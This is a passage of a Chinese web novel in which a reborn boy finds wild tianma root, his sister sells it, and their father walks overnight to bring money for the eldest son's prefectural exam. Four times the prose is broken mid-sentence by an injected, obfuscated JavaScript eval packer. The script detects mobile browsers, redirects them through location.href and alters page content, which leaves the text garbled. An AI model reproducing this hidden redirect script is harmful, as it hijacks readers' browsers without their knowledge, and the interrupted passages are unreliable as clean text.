有时,王佑不知从哪里找来几颗圆润的鹅卵石,洗净了,放在老树下。他让王杏和他一起,用这些石头在地上摆图案。一开始只是简单的直线、圆圈,后来王佑开始摆一朵花,一间小房子,甚至一个笑脸。 王杏起初只是机械地跟着摆,渐渐地,她开始会挑不同颜色的石头,会试着摆出不同的形状。 王佑一起,用石头拼出一个‘杏’字时,她看着那个字,愣了许久。 王佑心中又一阵悸动,指着那个字,高兴地说:“大姐,这是你的名字!真好看!” 王杏低下头,手指无意识地摩挲着那些冰凉的石头,肩膀微微耸动。 除了这些无声的陪伴和游戏,王佑还会做一些出格的事。比如,他会不小心把水洒在院子里,然后拉着王杏一起,用扫帚笨拙地扫水,弄得两人裤脚都湿了,却在这个过程中,王杏因为怕他摔倒,下意识地扶了他几次,僵硬的肢体动作似乎松动了一些。 又比如,他会好奇地指着王杏手上某处旧伤,用稚嫩的声音问:“大姐,这里还疼吗?” 王杏会本能地缩手,但在王佑清澈而无辜的目光注视下,最终会轻轻摇头,低声说:“不疼了。” 偶尔,当王杏望着院外出神,眼神又变得空洞时,王佑会故意弄出点声响,或者跑过去拉住她的手,让她教他认某种野菜,或者问一个关于母亲针线活的问题,将她飘远的思绪拉回到安全的现实中来。 日子一天天过去,王杏脸上的苍白褪去了一些,渐渐有了一丝血色。她的话依然不多,但眼神里的茫然和恐惧,在一点点减少。她会主动帮母亲烧火,会记得给父亲倒一碗晾凉的白开水。虽然动作依旧小心翼翼,但那份被压抑了太久的情感,正在一点点苏醒。 她开始会对着王佑露出极淡的笑容,会在他摆弄石子时,静静地坐在旁边看很久,甚至会在他写字画画时,用树枝在地上,写下自己的名字。 王佑也开始更加如饥似渴地学习。家里那几本旧书早已被他翻烂,他反复记忆,并用树枝在地上练习。他从大姐偶尔的只言片语和二姐休学回家带回来的信息中,拼凑着关于外面世界,关于工坊、码头、县城,乃至大梁王朝更具体的图景。 16. 王佑采药 时间在等待与琐碎中悄然滑入三月底。王杏脸上有了些肉,眼神也不再总是空茫无措。她会跟着李氏下地,拔草、间苗,动作虽慢,却一丝不苟。回家后,也能自然地帮着烧火做饭。只是她依旧沉默,村里相熟的邻居问她,她才会简短地回答,声音轻得像蚊子哼哼。 李夫子托人捎来过一次口信,说王桃学的很认真;王树在县学一切安好,刘廪生对他颇为看重,功课也紧,让家里不必挂念,安心等他府试的消息。 府试的日子,一天天近了。 王家的气氛,也随之再次紧绷。 那天傍晚,夕阳将小院的土墙染成一片昏黄。一家人围坐在方桌前,桌上照旧是稀粥、杂粮饼子和一碟咸菜。 李氏拿起一个饼子,掰开,将里面白软的一点芯子,习惯性地递给王杏:“杏儿,你吃这个。” 王杏没接,低着头,声音轻得几乎听不见:“娘,我吃边上的就行。” 她伸手去拿那块更硬、麸皮更多的饼子边缘。 王佑将这一切尽收眼底,心中那根弦越绷越紧,他知道问题出在哪里。 接大姐回来,支付工坊的违约金,几乎花费了大哥大半盘缠。而府试,不仅仅是去考个试那么简单。考试期间住宿、吃饭,需要花费;拜见县学师长、同科举子必要的应酬,哪怕再简陋,也需打点;还有给衙门书吏安排考棚的‘房费’、给保结廪生的‘谢仪’、甚至给考场巡绰、号军等人的‘常例钱’……这些看似不起眼却约定俗成的开销,对毫无根基的农家而言,每一笔都可能是压垮骆驼的稻草。 大哥剩下的那些钱,只怕连应付最基本的盘缠和住宿都勉强,那些潜规则下的打点,他恐怕一分钱都拿不出来! 李夫子或许能在学问上指点,能在面子上维护一二,但这些实实在在的银钱关节,尤其是府城那边,李夫子一个乡下老童生,恐怕也力有未逮。 “他爹。”李氏放下碗,眉宇间的愁云浓得化不开,“府试眼看没几天了,树儿在府城……吃住可还周全?那点钱……” 王老实重重地叹了口气:“周全?能有个地方窝着,饿不死,就是周全了!那些该打点的……唉!” 他没说下去,但屋里的人都明白。没打点,会怎样?考棚可能分到最差最吵的‘臭号’,临近茅厕,蚊蝇肆虐,臭气熏天,如何静心作文?书吏可能故意拖延、刁难,在誊录、对读环节做手脚?甚至,保结的廪生若因谢仪菲薄而心生不满,在关键时刻说上一句半句不利的话…… 这些无形的刀子,比明面上的考题更难对付。 王杏的身体微微颤抖,头埋得更低,手指紧紧攥着粗糙的衣角。她虽然不懂科举细节,但钱字带来的窘迫和灾难,她体会得太深了。是因为接她回来,才让家里这般艰难,让弟弟考试都受影响…… 沉重的气氛再次笼罩了这个清贫的小家。 王佑知道底层读书人科举的艰辛,亲眼看到它如何具体地、残酷地压在自己的家人身上,那种无力感依旧让他呼吸困难。 他必须做点什么,哪怕只是杯水车薪,哪怕要冒一点风险。 第二天,王佑起得格外早。他轻手轻脚地溜出院子,没有惊动任何人。他沿着村后的小路,径直往后山走去。 后山不高,植被却茂密。王佑此前与村里半大的孩子有时会结伴上山,摘些野果,挖点野菜,或者捡拾柴火,但家人从不让他独自上山。 但今天,他必须独自去。 他记得前几日听村里几个老人闲聊,提起后山向阳的坡地上,这个时节,一种叫做‘黄精’的药材正在开花,比较好辨认。黄精炮制后可以入药,也能卖给镇上的药铺,虽然价格不高,但若采得多,也是一笔收入。更重要的是,他还知道,在这片山里,可能还生长着另一种更值钱的东西。只是比较难寻,对采摘时节和炮制方法要求也高,村里人知道的不多。 王佑凭借前世模糊的中草药知识和这些年对本地植物的观察,仔细辨认着。他不敢走得太深,只在山坡边缘搜寻。露水打湿了他的裤脚,荆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960759|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棘划破了他的手背,他都浑然不觉。 一个上午过去,他的小背篓里,只多了寥寥几株品相普通的黄精,还有几把常见的野菜。 正午的太阳有些晒,王佑又累又饿,坐在一块石头上喘息。看着背篓里那点可怜的收获,心里一阵发凉。这点东西,就算卖出去,能换几个铜板?对大哥的府试,简直是笑话。 难道真的没有办法了吗? 他抱着膝盖,将头埋进去。穿越者的知识,在这个具体而微的困境面前,似乎如此苍白无力。 就在他几乎要放弃的时候,眼角余光忽然瞥见不远处一丛茂密的蕨类植物下面,似乎有一点不一样的色泽。他心中一动,小心地拨开厚厚的蕨叶。 只见几株约莫半尺高、茎秆呈暗红色的植物,亭亭玉立,顶端开着几朵黄绿色的小花。它们的叶子已经有些枯萎卷曲,但这独特的形态和色泽…… 王佑的心跳骤然加速。他屏住呼吸,小心地用手扒开周围的泥土。果然,在植株的根部,挖出了几个椭圆形、表面布满环纹、像小土豆一样的块茎。 天麻!真的是野生天麻!而且看大小和环纹,年份似乎不短! 狂喜瞬间淹没了他。他小心翼翼地,将这几株天麻连带着一些原土挖出,用早就准备好的干净树叶包裹好,放进背篓最底层,再用黄精和野菜仔细盖好。 做完这一切,他的后背已经被汗水浸透,背着背篓快步下山。 回到家时,已是午后。王老实与李氏早已心急如焚,见他浑身泥土、小脸通红、背篓里装着些野菜黄精的样子,又是心疼又是后怕,拉着他好一顿数落,坚决不许他再独自上山。 王佑乖乖听着,心里却盘算着如何将这些东西变成钱。直接拿去镇上药铺?他一个五岁孩子,太惹眼,也容易被压价甚至欺骗。让父母去?父母都是老实巴交的农民,根本不认识天麻,更不懂行情,只怕也卖不出好价钱。 他的目光,不由自主地落在了正在默默帮母亲晾晒衣服的大姐王杏身上。 17. 王杏卖药 王杏在镇上工坊待了近五年,虽然困于高墙之内,但毕竟接触过外面的人,对镇上街道、店铺或许还有些印象。而且,她经历过磨难,性格谨慎,也比父母更能应付一些简单的场面。 只是,让回家没多久、依旧惊魂未定的大姐再去镇上…… 王佑犹豫了,这个决定风险很大。万一出点什么岔子,对大姐可能是又一次打击。 他决定先试探一下。 傍晚,等王杏一个人在灶间烧火时,王佑挨着她坐下。他从怀里掏出那几片包裹着天麻的树叶,小心翼翼地打开一角,露出里面奇特的块茎。 “姐,你看这个。”王佑小声说。 王杏低头看了一眼,有些茫然:“这是……土疙瘩?” “不是土疙瘩,这叫天麻,是一种药材,很值钱的。”王佑压低声音,将自己在后山偶然发现、谎称听村里老人提过很值钱的话说了一遍,“可以……拿到镇上去卖,换了钱,给大哥送去。” 王杏听到‘值钱’、‘给大哥送去’,身体明显僵硬了一下。她看着那些其貌不扬的块茎,又看看弟弟充满期盼的眼睛,眼神剧烈地挣扎起来。 “我……我不认识路……也不会卖……”她声音发抖。 “我认识!我画给你看!”。 王佑立刻用烧火棍在地上简单画起了镇上的街道草图,在某个位置用力一点:“大姐,去这家济世堂药铺。我常听村里叔伯闲聊,说这家药铺收药材最公道,童叟无欺。别去别的家,就去这家。” 他顿了顿,语气更慎重:“你什么都不用多说,就把这个给掌柜看,问他收不收。他要是问价,你就说……但凭掌柜公道估价。他要是出价低于五百文,你就拿回来,说不卖了,就说……就说家里老人嘱咐了,卖不掉就带回去。” 王佑也不清楚具体能卖多少钱,只能尽量估价,并强调‘拿回来’的退路,以减轻大姐的心理压力。 王杏看着地上那简陋却清晰的草图,又看看弟弟那张还带着稚气却异常认真冷静的小脸,心中的恐惧和退缩,与对弟弟的信任、以及想要为这个家做点什么的强烈愿望,激烈地交战着。 许久,就在王佑以为她要拒绝时,王杏忽然深吸了一口气,像是用尽了全身力气,极其轻微地点了点头。 “我……我去。” 声音依旧很轻,却不再颤抖。 王佑心中一松,他将包裹好的天麻和几株品相最好的黄精交给王杏,又反复叮嘱了路线和说辞。 第二天一早,王杏将药材小心地揣在怀里,揣着王佑塞给她的两个冷饼子,在王老实和李氏担忧无比的目光中,低着头,匆匆走出了家门,再次踏上了通往镇子的路。 王佑一整天都坐立不安。他无数次跑到村口张望,心中充满了自责和后怕。万一大姐迷路了怎么办?万一遇到坏人怎么办?万一药铺掌柜欺生压价怎么办?万一…… 时间从未如此漫长。直到日头西斜,将天边染成一片凄艳的橘红时,那个熟悉而瘦削的身影,才终于出现在村口的土路上。 王佑的心几乎跳了出来,他飞奔过去。只见王杏的脚步有些踉跄,脸色比早上出去时更加苍白,但眼神却有一种奇异的亮光,像是劫后余生,又像是完成了某种艰巨的使命。她的怀里,紧紧抱着一个破旧的小布袋。 看到王佑,她紧抿的嘴唇动了动,似乎想笑,却没笑出来,只是将那个布袋,郑重地塞进弟弟手里。 布袋入手沉甸甸的,王佑打开一看,里面除了几十枚铜钱,居然还有一小块约莫一两重的碎银子! “济世堂的掌柜……识货。”王杏声音干涩,却带着一丝如释重负,“他说天麻品相好,年份足。黄精……差些。一共……给了这些。” 王佑紧紧攥着布袋,又抬头看着大姐疲惫却隐隐发光的眼睛,心中百感交集。他用力点头:“大姐,你做到了!你真厉害!” 王杏看着他,眼圈蓦地红了。她伸出手,第一次主动地、轻轻地摸了摸弟弟的头。 “回家吧。”她说。 姐弟俩并肩往回走,夕阳将他们的影子拉得很长。 王老实和李氏回到家已经入夜,看到那些钱,尤其是那块碎银子,惊得目瞪口呆。听完王杏简单的叙述,两人又是后怕,又是激动。 这点钱,足以应付府试一些可能的刁难和打点。更重要的是,它让王杏跨出归家后的第一步,这对她的恢复,意义非凡! 王老实看着那些铜钱和那块碎银子,几乎让这个被生活压弯了腰的汉子感到一阵眩晕。 李氏在旁边,嘴唇哆嗦着,看看钱,又看看丈夫,再看看一旁沉默的儿女。“他爹……这……这钱……” 王老实没说话,只是盘算着如何将钱送到王树手中。 从王家村到府城,山高路远。王树此刻可能还在县学,也可能已经启程前往府城。这钱,必须尽快送到他手里,晚了,就来不及了! 托人捎带?谁去?村里去县城或者府城的人本就不多,就算有,又如何信得过?万一有个闪失,这点救命钱就没了! 自己去? 这个念头一冒出来,王老实的心就猛地一沉。家里只剩妇孺,田地、鸡鸭、还有状态依旧不稳的大女儿……他如何走得开? 可是,除了他,还有谁能去?李氏一个妇道人家,如何能独自走夜路、寻县城、再打听县学找到儿子?王佑更是个孩子! 王佑看着父亲剧烈起伏的胸膛和眼中的挣扎,他知道父亲在想什么。这个家到了必须有人站出来,去搏那一点点可能的时候。 “爹。”王佑上前一步,走到月光里,抬起小脸,声音清晰而平静,“我去。” “胡闹!”王老实几乎是吼出来的,额上青筋都暴了起来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960760|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你才多大点!知道县城多远吗?知道路上多险吗?” 李氏也吓得一把将王佑搂进怀里:“佑儿!不许胡说!” 王佑挣扎了一下,从母亲怀里抬起头,目光却依旧看着父亲:“爹,你去。大哥说过,县学在城东文庙旁边,门口有两棵大柏树,很好找。你认得去县城的路,现在趁着月色,脚程快些,天亮前就能赶到县城外。一开城就进去,直接去县学。如果大哥还没走,正好把钱给他。如果大哥已经出发去府城了……” 王佑的声音低了下去,他知道这是最坏的情况,“……那就问清楚他们走的是哪条路,大概什么时候出发的。爹你顺着路去追,一定要追上,哪怕追到府城!” 王老实呆住了,看着幼子那双在月光下亮得惊人的眼睛。那里面没有孩童的天真,只有一种近乎冷酷的清醒和决断。他忽然想起幼子过往的种种‘异常’,想起他提醒桃儿画在石板上的斗和秤,想起他平静地说出‘爹和大哥一起去镇上做工’…… 这个孩子,心里装着的,或许比他这个当爹的还要多,还要重! “可是……家里……”王老实的喉咙像被什么堵住了。 “家里有娘,有大姐,还有我。”王佑的声音依旧平稳,“地里的活,娘和大姐能照看。鸡鸭我能喂。” 王老实的目光一一扫过妻子和儿女们。李氏眼中的恐惧和依赖,王杏的泪水,还有王佑那超越年龄的镇定与谋划。 他重重地吐出一口浊气,仿佛要将胸中所有的犹豫和疲惫都吐出去。他猛地转过身,快步走到墙角,从一堆杂物里翻出他那件最厚实的旧棉袄,又抓起一根榆木棍。 “他娘,给我烙几张饼,要干硬能放得住的。再装一葫芦水。” 李氏愣了一下,随即明白了丈夫的决定,眼泪流得更凶,却不再劝阻,只是用力点头,抹了把泪,转身就奔向灶间,手脚麻利地生火和面。 王杏也反应过来,默默地去帮母亲烧火。 王佑看着父亲的背影,紧绷的心弦稍稍松了一丝。他走到父亲身边:“爹,钱收好,贴身放。路上……小心。” 王老实深深看了一眼幼子,粗糙的大手在他头顶重重按了一下,什么也没说。 很快,几张粗粝却厚实的杂粮饼烙好了,用布包着,还带着烫手的温度。水葫芦也灌满了。王老实将饼和水塞进怀里,把榆木棍紧紧握在手中。 “我走了。”他只说了三个字,便猛地转身,拉开院门,大步跨入了清冷的月光中。 “他爹……路上千万小心!”李氏追到门口,带着哭腔喊道。 王老实没有回头,只是举起手中的榆木棍,在空中用力挥了一下,算是回应。随即,他的身影便迅速消失在村口那条土路上。 夜风吹拂,带着一丝寒意。李氏在门口站了很久,直到王杏和王佑过来拉她,才失魂落魄地回到屋里。 18. 月夜下的家庭脊梁 村里偶尔传来几声犬吠,更添夜的深邃与路途的未知。 王佑知道,父亲这一去,同样充满风险。夜路、可能的劫道、身体旧伤、还有能否及时将钱送到大哥手中的不确定性…… 但他更知道,这是此刻唯一的选择。这个家,已经被逼到了墙角,没有退路,只能向前去搏那一线生机。 “娘,大姐,我们去睡吧。”王佑转过身,对还沉浸在担忧中的母亲和姐姐说道,“爹和大哥,都会平安的。” 李氏看着幼子,恍惚间,仿佛看到了长子的影子。 这一夜,王家无人安眠。李氏在炕上辗转反侧,王杏睁着眼看着黑暗的屋顶。王佑则躺在自己的小床上,睁着眼睛,听着窗外细微的风声,在心中一遍遍推演着父亲可能遇到的状况,以及大哥在府城可能面临的刁难。 王老实踏着被月光照得一片惨白的土路,深一脚浅一脚地走着。腰间的旧伤在寒气侵袭和急促的步速下,开始隐隐作痛,像是有根针在里面不停地戳刺。他咬着牙,将榆木棍拄在地上,支撑着身体,一步也不敢停。 夜路并不太平。风声鹤唳,草丛中不时传来窸窣的声响,远处山坳里偶尔有几点幽绿的磷火飘过。王老实的心提到了嗓子眼,握紧了手里的棍子,嘴里念念有词,不知道是给自己壮胆,还是在祈求过往山神野鬼的保佑。 他不敢走大路,大路虽平,但太过显眼,怕遇到劫道的强人。只能捡着田间小径和山边的野路走,这些路他年轻时打猎、砍柴走过,依稀还有些印象。偶尔也会听到一些异常的声响,连忙躲藏,直到再也听不任何声响才敢继续赶路。荆棘划破了他的裤腿,露水浸湿了他的布鞋,脚底很快磨出了水泡,每走一步都钻心地疼。 怀里那包钱,贴着他的胸膛,随着他的脚步一下下地硌着,却又像一团微弱的火,支撑着他不断向前。他想起临行前小儿子那双过分冷静的眼睛,想起大女儿回家后的种种神情,想起妻子泪眼婆娑的叮嘱,更想起大儿子在府城可能面临的窘迫和刁难…… 不能停!绝对不能停! 他嚼着怀里已经凉透的硬饼子,就着葫芦里冰冷的水,用尽全身力气赶路。身体的疲惫和疼痛,似乎都被那股一定要把钱送到儿子手里的执念强行压了下去。 终于,当东方天际泛起第一抹青灰色时,远处地平线上,隐约出现了县城那低矮却绵延的城墙轮廓。 王老实精神一振,加快了脚步,甚至小跑起来,完全不顾腰伤和脚底水泡传来的剧痛。 县城越来越近。城墙在晨曦中显露出青灰色的砖石,紧闭的城门如同巨兽的嘴巴。城门外的空地上,已经聚集了一些等待进城的人,有挑着担子的货郎,有推着独轮车的农夫,也有几个看似行商的旅人,都缩着脖子,哈着白气,等待着开城。 王老实混在人群中,靠着城墙根坐下,剧烈地喘息着。他浑身上下沾满了泥土和草屑,脸色青白,眼窝深陷,模样比乞丐好不了多少。周围人投来或好奇或嫌弃的目光,他都浑然不觉,只是紧紧捂着胸口放钱的地方,眼睛死死盯着那扇厚重的城门。 时间一分一秒过去,每一息都像一个世纪那么漫长。 “吱呀!咣当!” 厚重的城门终于被几个睡眼惺忪的兵丁缓缓推开,发出沉闷的声响。 人群立刻骚动,争先恐后地向城里涌去。王老实猛地站起身,不顾一切地挤进人流。他疲惫的身体爆发出惊人力量,硬是在拥挤的人潮中挤开一条缝,冲进了城里! 进了城,他稍微辨了一下方向,便朝着城东文庙发足狂奔! 清晨的县城街道还算空旷,只有零星几个早起的摊贩在支摊子。王老实这浑身狼狈、状若疯癫的样子,引得路人纷纷侧目,但他什么都顾不上了。 跑!快跑! 肺叶火辣辣地疼,腰伤处更是传来撕裂般的痛楚,眼前阵阵发黑。但他脑子里只有一个念头:县学!文庙!大柏树! 终于,穿过几条冷清的街道,前方出现了一片相对开阔的地带,一座略显古旧的庙宇建筑映入眼帘。庙宇门口,两棵枝干遒劲、冠盖如云的古柏树,如同两位沉默的卫士,在晨光中静静伫立。 是这里!就是这里! 王老实的心脏几乎要跳出胸腔。他踉跄着扑到那两棵柏树下,只见庙宇旁边,果然有一道月洞门,门上悬着一块斑驳的匾额,上书‘县学’二字。 月洞门此刻半开着,里面隐隐传来人声。 王老实想也不想,就要往里冲。 “站住!干什么的?县学重地,闲人免进!”门旁一个穿着皂隶服饰、正打着哈欠的老门子拦住了他,上下打量着这个浑身散发着汗臭和泥土味的乡下老汉,眉头皱得能夹死苍蝇。 “我……我找我儿子,王树,王家村的王树!”王老实声音嘶哑得厉害。 “王树?”老门子愣了一下,态度略微缓和了些。县试第三名,在县学里还是有些分量的。“你是他爹?” “是,我是他爹。”王老实连连点头,急切地问,“他……他走了吗?去府城了吗?” “那倒还没。”老门子看了看天色,“廪生老爷们刚起身,学子们还在收拾行李,准备用过早饭才出发呢。你是来送行的?怎么弄成这副模样?” 听到还没走,王老实悬了一夜的心,终于轰然落地。巨大的狂喜和后怕让他双腿一软,差点瘫倒在地,连忙扶住旁边的柏树,大口大口地喘着气。 “没走……太好了……太好了……”他喃喃着,几乎虚脱。 老门子看他这副样子,也猜到他怕是连夜赶路来的,摇了摇头:“你在这儿等着,我去给你通报一声。别乱闯!” “有劳,有劳老哥。”王老实连声道谢,靠着柏树,几乎站立不稳。 老门子转身进了月洞门。不多时,一阵急促的脚步声传来。 只见王树穿着一身浆洗得干干净净的学童青衫,快步走了出来。他看到倚在柏树下、形容枯槁、浑身狼狈的父亲,整个人如遭雷击,呆立当场。 “爹?”王树的声音变了调,几步冲过来,扶住摇摇欲坠的父亲,“您……您怎么来了?怎么弄成这样?家里出什么事了吗?” 感受到儿子手臂传来的温度和力量,王老实这才觉得浑身的力气都被抽空了,他颤抖着手,从怀里掏出那个被汗水浸得有些潮湿的布袋,塞进儿子手里。 “树儿……钱……拿着……府试……打点……”他断断续续地说着,每一个字都像是从肺腑里挤出来的,“家里……都好……这钱……别舍不得花……该打点的……一定要打点……” 王树看着手里那带着父亲体温和汗水的布袋,再看看父亲那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爹,您放心,儿子一定谨记。这钱,儿子知道该怎么用。您……您回去路上,千万小心!到家了,给儿子捎个信!” 父子俩又低声说了几句话,大多是王老实反复叮嘱,王树一一应承。时间很快过去,县学里响起了催促集合的钟声。 王树站起身,看着父亲依旧疲惫苍白的脸,心中万分不舍,却又知道必须走了。 “爹,儿子走了。您……您保重身体!”王树对着父亲,深深一揖。 王老实也站起来,看着比自己高出半个头的儿子,穿着整齐的青衫,身姿挺拔。他心中百感交集,最后只是用力拍了拍儿子的肩膀,千言万语,只化作一句:“去吧!好好考!爹……等你回来!” 王树重重点头,看了一眼父亲,猛地转身,大步走进了县学的月洞门。他不敢回头,怕一回头,就再也控制不住眼中的泪水。 王老实一直站在那两棵古柏下,直到儿子的身影消失在门内。 钱,送到了。儿子,也可以平安上路了。 他坐到石阶上休息了片刻,挣扎着站起身。 家,还在等着他。 他最后看了一眼县学紧闭的大门,紧了紧身上破旧的棉袄,拄着榆木棍,拖着疼痛沉重的双腿,一步一步,朝着来时的路,慢慢走去。 19. 府试 王老实顺着原路返回时,脚步比来时更加沉重。一夜的奔波,紧张的神经骤然松弛,积累的疲惫和腰伤处火辣辣地疼,每一步都像踩在刀尖上,脚底的水泡早已磨破,渗出的血水和布鞋粘在一起,每挪动一下都带来钻心的刺痛。 他几乎是在凭着本能在走,拄着榆木棍的手抖得厉害,眼前阵阵发黑,好几次差点栽倒在路边的沟渠里。 县城渐渐被甩在身后,荒野的土路似乎永无尽头。日头升高,晒得他头昏眼花。 就在他感觉自己快要撑不住、想找个地方躺下休息片刻时,身后传来‘吱吱呀呀’的车轮声和慢悠悠的牛蹄声。 王老实费力地回头,只见一辆牛车正慢吞吞地驶来。赶车的是个约莫五十出头的庄稼汉,皮肤黝黑,戴着顶破草帽,正是邻村的一个熟人,姓张,常去镇上卖柴。 “吁...” 张老汉勒住牛,看着路边形容枯槁、几乎不成人样的王老实,着实吓了一跳,急忙喊道:“王老实?你这是……咋弄成这样?” 王老实沙哑着嗓子,勉强挤出声音:“老张哥……捎……捎我一段……回家……” 张老汉连忙跳下车,扶住摇摇欲坠的王老实,触手之处冰凉湿滑,全是冷汗。 “哎呦!你这是连夜去县城了?为了你儿子府试的事?”张老汉猜到几分。 王老实虚弱地点点头,连说话的力气都快没了。 “快上车!快上车!”张老汉不由分说,连搀带抱,将王老实弄上牛车。 牛车继续吱呀吱呀地前行,虽然颠簸,但总比用两条腿走强上百倍。张老汉把水葫芦递给他,又把怀里揣着的一个还有点余温的菜团子掰了一半给他。 王老实感激得说不出话,就着冷水,狼吞虎咽地吃下菜团子,冰凉的液体和食物滑入胃里,带来一点微不足道的暖意和力气。 “你家王树,真是出息了!县试第三名啊!”张老汉一边赶车,一边感叹,“但这科举,也太熬人了,看你这一趟折腾的……家里都好吧?” 王老实闭着眼,微微点头,喉咙里“嗯”了一声。他现在只想尽快回到家,倒在自家的床上。 张老汉见他异常疲惫,不再多言,赶着牛车向着王家村的方向移动。沿途的田野、村庄,在王老实疲惫的眼中变得模糊。他时睡时醒,只觉得身体像散了架一样,每一块骨头都在叫嚣着疼痛。 直到傍晚时分,熟悉的村庄终于出现在视野里。 “老实媳妇,我是张村张老三。”张老汉把牛车停在了王家院门外叩门。 王老实挣扎着想要下车,双腿却软得不听使唤。院门吱呀一声开了,李氏闻声出来,一眼看到牛车上几乎脱了形的丈夫,惊叫一声,眼泪瞬间就涌了出来。 “他爹!” 王佑和王杏也闻声跑了出来,看到父亲的惨状,都吓得脸色发白。 张老汉帮忙把王老实扶下车,对李氏简单说了情况,又叮嘱了几句好好歇息的话,便赶着牛车走了。 李氏和王杏七手八脚地将王老实扶进屋里,安置在炕上。王佑看到父亲这副模样,小脸绷得紧紧的,心中颇为自责,如果能更早想到办法,爹就不用受这罪。转身就去灶间烧热水。 王老实躺在自家熟悉的的床上,闻着家里特有的气味,紧绷的神经彻底放松下来,几乎是立刻就陷入了昏睡。李氏流着泪,小心地脱掉他沾满泥泞血污的步鞋,看到他脚底磨烂的水泡和血痕,又是一阵心痛,连忙用王佑烧好的温水,仔细地帮他擦拭清洗,敷上家里珍藏的一点草药粉末。 期间李氏不时摸摸他的额头,喂他喝些米汤。直到第二天下午,他才悠悠转醒,虽然依旧浑身酸痛,但精神总算恢复了一些。 李氏眼含着泪,责怪道:“你……以后可不能再这么拼命了!” 王老实点点头,没再说话,只是看着屋顶黑黢黢的房梁。钱送到了,他悬着的心,总算是落回了一半。但另一半,却随着王树远去的方向,又高高地悬了起来。 日子重新恢复了表面上的平静,但那种等待的焦灼,如同缓慢燃烧的炭火,炙烤着王家每个人的心。 王老实在家养了四、五日,腰伤和脚上的伤渐渐好转,方能下地走动,但依旧不能干重活。他便帮着料理菜地,编些筐篓,眼神却总是时不时飘向村口。 王杏常常一个人发呆,手里无意识地搓着麻绳或缝补衣物,眼神却飘得很远。只有王佑偶尔拉她去看他新发现的蚂蚁搬家,或者摆弄那些小石子时,她的眼神才会短暂地聚焦,露出一丝极淡的笑意。 周夫子留下的那些旧书已经被王佑翻得滚瓜烂熟,他便开始用树枝在地上默写,从简单的字到复杂的文章片段。王桃从学馆回来时,他还央求将她新学到的知识或诗文背诵给他听,然后自己反复琢磨。他像一块永不满足的海绵,疯狂地吸收着一切能接触到的知识,为接下来要做的是事无比认真地准备着。 府城,贡院。 高耸的围墙隔绝了外面的喧嚣,只留下一种令人窒息的肃穆。空气里弥漫着墨味,还有新刷油漆和木头的气息。 王树站在等待点名的队伍里,手心微微出汗。 昨夜,在刘廪生的‘指点’下,他从那些铜钱和碎银中,分出了一小部分,分别打点了负责安排考棚的书吏、以及负责自己这一片考场的巡绰官。剩下的钱,他仔细收好,这是他在府城期间全部的生活费和可能的应急之需。 打点得并不多,甚至有些寒酸。他能看到书吏接过那点钱时,眼中闪过的一丝不易察觉的轻蔑,也能感觉到巡绰官那敷衍的态度。但,这已经是他能做的极限了。至少,对方收了钱,就等于默许了某种‘关照’。 “永丰县王家村,王树!” 唱名声响起。王树深吸一口气,上前一步,验明身份,领取考引,然后跟着引导的衙役,走进了那座如同巨兽巢穴般的贡院大门。 穿过一道道门廊,经过森严的搜检,他终于被引到了属于自己的考棚前。 这是一个偏后位置的号舍。号舍狭小逼仄,仅容一人转身,里面只有一张破旧的长条木板充作桌案,一块更小的木板当凳子。墙面斑驳,地上甚至还有前几届考生留下的污渍。 王树的心,却微微松了一下。 不是‘臭号’,已经是不幸中的万幸。至少,他可以不受那恶臭和蚊蝇的侵扰,相对安静地完成考试。 他走进号舍,放下考篮,按照指引,将考引贴在门板上。然后,他坐在那冰冷坚硬的木板上,闭上眼睛,让自己平静。 脑海中,闪过父亲连夜赶路送钱时那张狼狈却坚毅的脸,闪过母亲和大姐担忧的眼神,闪过妹妹渴望继续读书的面庞,闪过幼弟那双总是沉静却仿佛能看透一切的眼睛,闪过夫子谆谆教诲的严厉面容…… 不多时,沉重的贡院大门在身后轰然关闭。锁链撞击的声响,宣告着这场没有硝烟的战争正式开始。 考题下发,王树展开试卷,凝神细读。远处传来其他考生压抑的咳嗽声、翻动试卷的沙沙声,还有巡绰官偶尔走过的沉重脚步声。 他提起笔,蘸饱了墨。 笔尖落在试卷上,发出细微的摩擦声...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960762|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 